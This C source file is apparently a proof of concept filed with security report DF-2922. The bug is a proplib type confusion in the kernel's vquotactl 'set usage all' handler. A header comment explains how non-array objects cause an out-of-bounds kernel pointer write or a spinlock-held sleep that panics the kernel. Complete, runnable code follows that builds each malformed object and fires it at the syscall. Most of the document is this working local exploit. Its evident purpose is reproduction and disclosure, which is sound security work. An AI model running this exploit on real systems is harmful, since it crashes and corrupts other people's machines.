DF-2922 / typeconfuse.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-2922 proof-of-concept: proplib type confusion in sys_vquotactl / * cmd_set_usage_all() -> prop_array_iterator(). * * sys/kern/vfs_quota.c:385 passes the user-controlled "arguments" prop * object to cmd_set_usage_all(), which at vfs_quota.c:242 calls * prop_array_iterator(args) WITHOUT checking that args is an array. * * prop_array_iterator() (sys/libprop/prop_array.c:538) executes * mtx_lock(&pa->pa_rwlock) * BEFORE any type check (the prop_object_is_array() check is inside * _prop_array_iterator_locked(), i.e. after the lock). For a non-array * object the "mutex" aliases other fields of the real object: * * arguments = <false/> (static struct _prop_bool _prop_bool_false): * pa_rwlock aliases pb_value (== 0) -> fast path succeeds -> * mtx_owner=curthread is written at _prop_bool_false+24, i.e. * 8 bytes PAST the end of the global (plus a NULL write on * unlock). Silent out-of-bounds write of a kernel pointer. * * arguments = <string>s</string> or <true/> (mtx_lock word != 0): * __mtx_lock_ex() slow path -> writes MTX_EXWANTED|MTX_LINKSPIN * into the aliased word (low 32 bits of ps_mutable / pb_value), * stores a stack pointer into mtx_exlink (rbe_parent for * numbers), then mtx_wait_link() -> tsleep() WHILE HOLDING the * mount's ac_spin spinlock -> lwkt_switch() KASSERT * "still holding exclusive spinlocks" -> kernel panic. * * Usage: typeconfuse <path> <string|false|true|number|dict|bignum> */ #include <sys/vfs_quota.h> #include <libprop/proplib.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> static int send(const char *path, prop_object_t args) { prop_dictionary_t dict, res; struct plistref pref; int error; dict = prop_dictionary_create(); prop_dictionary_set_cstring(dict, "command", "set usage all"); prop_dictionary_set(dict, "arguments", args); error = prop_dictionary_send_syscall(dict, &pref); if (error) { fprintf(stderr, "send_syscall: %d\n", error); return 1; } error = vquotactl(path, &pref); /* if the kernel panics or wedges we never get here */ printf("vquotactl returned %d (errno=%d %s)\n", error, errno, strerror(errno)); if (error == 0) { prop_dictionary_recv_syscall(&pref, &res); printf("syscall completed normally\n"); } return 0; } int main(int argc, char **argv) { const char *path, *mode; prop_object_t args; if (argc != 3) { fprintf(stderr, "usage: %s <path> <string|false|true|number|dict|bignum>\n", argv[0]); return 2; } path = argv[1]; mode = argv[2]; if (strcmp(mode, "string") == 0) { args = prop_string_create_cstring("DF-2922-type-confusion"); } else if (strcmp(mode, "false") == 0) { args = prop_bool_create(false); } else if (strcmp(mode, "true") == 0) { args = prop_bool_create(true); } else if (strcmp(mode, "number") == 0) { args = prop_number_create_integer(31337); } else if (strcmp(mode, "bignum") == 0) { /* fresh leaf in the intern tree: exercises fast path */ args = prop_number_create_unsigned_integer(0x5151522200000001ULL); } else if (strcmp(mode, "dict") == 0) { /* control: same-shape object, rwlock at same offset -> clean */ prop_dictionary_t d = prop_dictionary_create(); prop_dictionary_set_uint64(d, "space used", 12345); args = d; } else { fprintf(stderr, "unknown mode %s\n", mode); return 2; } if (args == NULL) { fprintf(stderr, "object creation failed\n"); return 1; } printf("mode=%s path=%s pid=%d\n", mode, path, getpid()); fflush(stdout); return send(path, args); } |